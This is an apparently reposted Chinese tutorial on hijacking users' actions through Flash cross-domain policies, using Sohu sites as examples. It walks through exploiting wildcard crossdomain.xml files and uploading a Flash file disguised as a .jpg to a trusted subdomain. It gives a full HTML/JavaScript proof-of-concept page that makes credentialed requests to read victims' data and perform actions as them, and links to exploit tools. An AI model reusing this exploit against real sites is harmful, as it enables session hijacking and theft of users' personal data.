加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 百科 > 正文

Flash跨域劫持用户操作

发布时间:2020-12-15 20:05:15 所属栏目:百科 来源:网络整理
导读:漏洞利用一: 目标站点crossdomain文件配置星号,例如 http://news.sohu.com/crossdomain.xml 那么就可以利用flash在任意域向目标发送请求并得到结果,发送请求的时候是带上cookie的,所以就达到了劫持的效果。 PS:这个搜狐的新闻站并没有什么敏感操作,所


漏洞利用一:

目标站点crossdomain文件配置星号,例如

http://news.sohu.com/crossdomain.xml

那么就可以利用flash在任意域向目标发送请求并得到结果,发送请求的时候是带上cookie的,所以就达到了劫持的效果。

PS:这个搜狐的新闻站并没有什么敏感操作,所以跨域请求并没有意义,只能获取一下它的html源码,这里只是举例



这个POC源码在git上,链接:https://github.com/nccgroup/CrossSiteContentHijacking? (下载回来打开html文件即可)


接下来需要做的,就是找到一个有敏感操作又配置了*号的站点,然后使用此poc生成你需要劫持的操作,如修改昵称、关注某人等

使用方法,如果是Get直接填写Target Page,如果是Post,填写好POST Data,然后点击Show url with Parameters即可生成链接,然后使用短链接即可(你需要把此项目放在服务器也就是公网上,或者你可以放在百度云新浪云或者任意一个shell上)



漏洞利用二:

然而各大站点都有这种跨域的安全意识,所以他们会把有敏感操作的站点设置各种信任域,例如:(搜狐的用户中心)

http://i.sohu.com/crossdomain.xml

<allow-access-from domain="*.sohu.com" />

<allow-access-from domain="*.sohu.com.cn" />

<allow-access-from domain="*.itc.cn" />


也就是说,只有这些信任域的flash才能与它进行通讯,但是这样也并不安全,我们只需要让flash在这其中任意一个域下即可,简单说就是找到任意一个没有过滤的上传点(没有过滤?那不是直接传shell..(我这里指的没有过滤仅指没有过滤文件内容,如果你可以控制后缀和路径还能让它解析的话那就拿shell吧) 找了一会,找到上传点(漏洞还未公开这里不方便公布),我们将swf后缀改为jpg,然后上传,得到: http://****.sohu.com/2015******.jpg 接下来你可以又可以使用上面的POC进行劫持操作了,当然也有大牛自己写的版本。 POC:


<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk"/>
<title>csrftest</title>

<script>
function Connection(Sendtype,url,content,callback){
?? ?if (window.XMLHttpRequest){
?? ??? ?var xmlhttp=new XMLHttpRequest();
?? ?}
?? ?else{
?? ??? ?var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
?? ?}?
?? ?xmlhttp.onreadystatechange=function(){
?? ??? ?if(xmlhttp.readyState==4&&xmlhttp.status==200)
?? ??? ?{
?? ??? ??? ?callback(xmlhttp.responseText);
?? ??? ?}
?? ?}
?? ?xmlhttp.open(Sendtype,true);
?? ?xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
??? xmlhttp.withCredentials = "true";
?? ?xmlhttp.send(content);
}
??
function sendToJavaScript(strData){
??? var theDiv = document.getElementById("HijackedData");
??? var content = document.createTextNode(strData);
??? theDiv.appendChild(content);
??? theDiv.innerHTML += '<br/>'
??? //var posturl = "";?? //如果是post,请去掉这三行的注释
??? //var postdata= "";????
??? //Connection("POST",posturl,postdata,function(callback){});
? ?

}

</script>

</head>

<body>

<div id=HijackedData></div>

<object id="myObject" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash" data="http://127.0.0.1/upload/2015.jpg">?? //你上传的图片后缀的flash

<param name="AllowScriptAccess" value="always">
<param name="flashvars" value="input=http://127.0.0.1">? //你要请求的地址

</object>

</body>

</html>?




最后让用户访问你构造的POC页面,即可达到劫持的效果

如图,成功跨域获取带有搜狐cookie用户的用户名以及其他资料,当然你还可以模拟其他任何操作,基本用户能做什么,你就能做什么。


相关资料:

http://www.freebuf.com/articles/web/37432.html

http://www.freebuf.com/articles/web/35353.html

案例:

http://wooyun.org/bugs/wooyun-2010-088845

POC:

https://github.com/gursev/flash-xdomain-xploit

https://github.com/nccgroup/CrossSiteContentHijacking

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读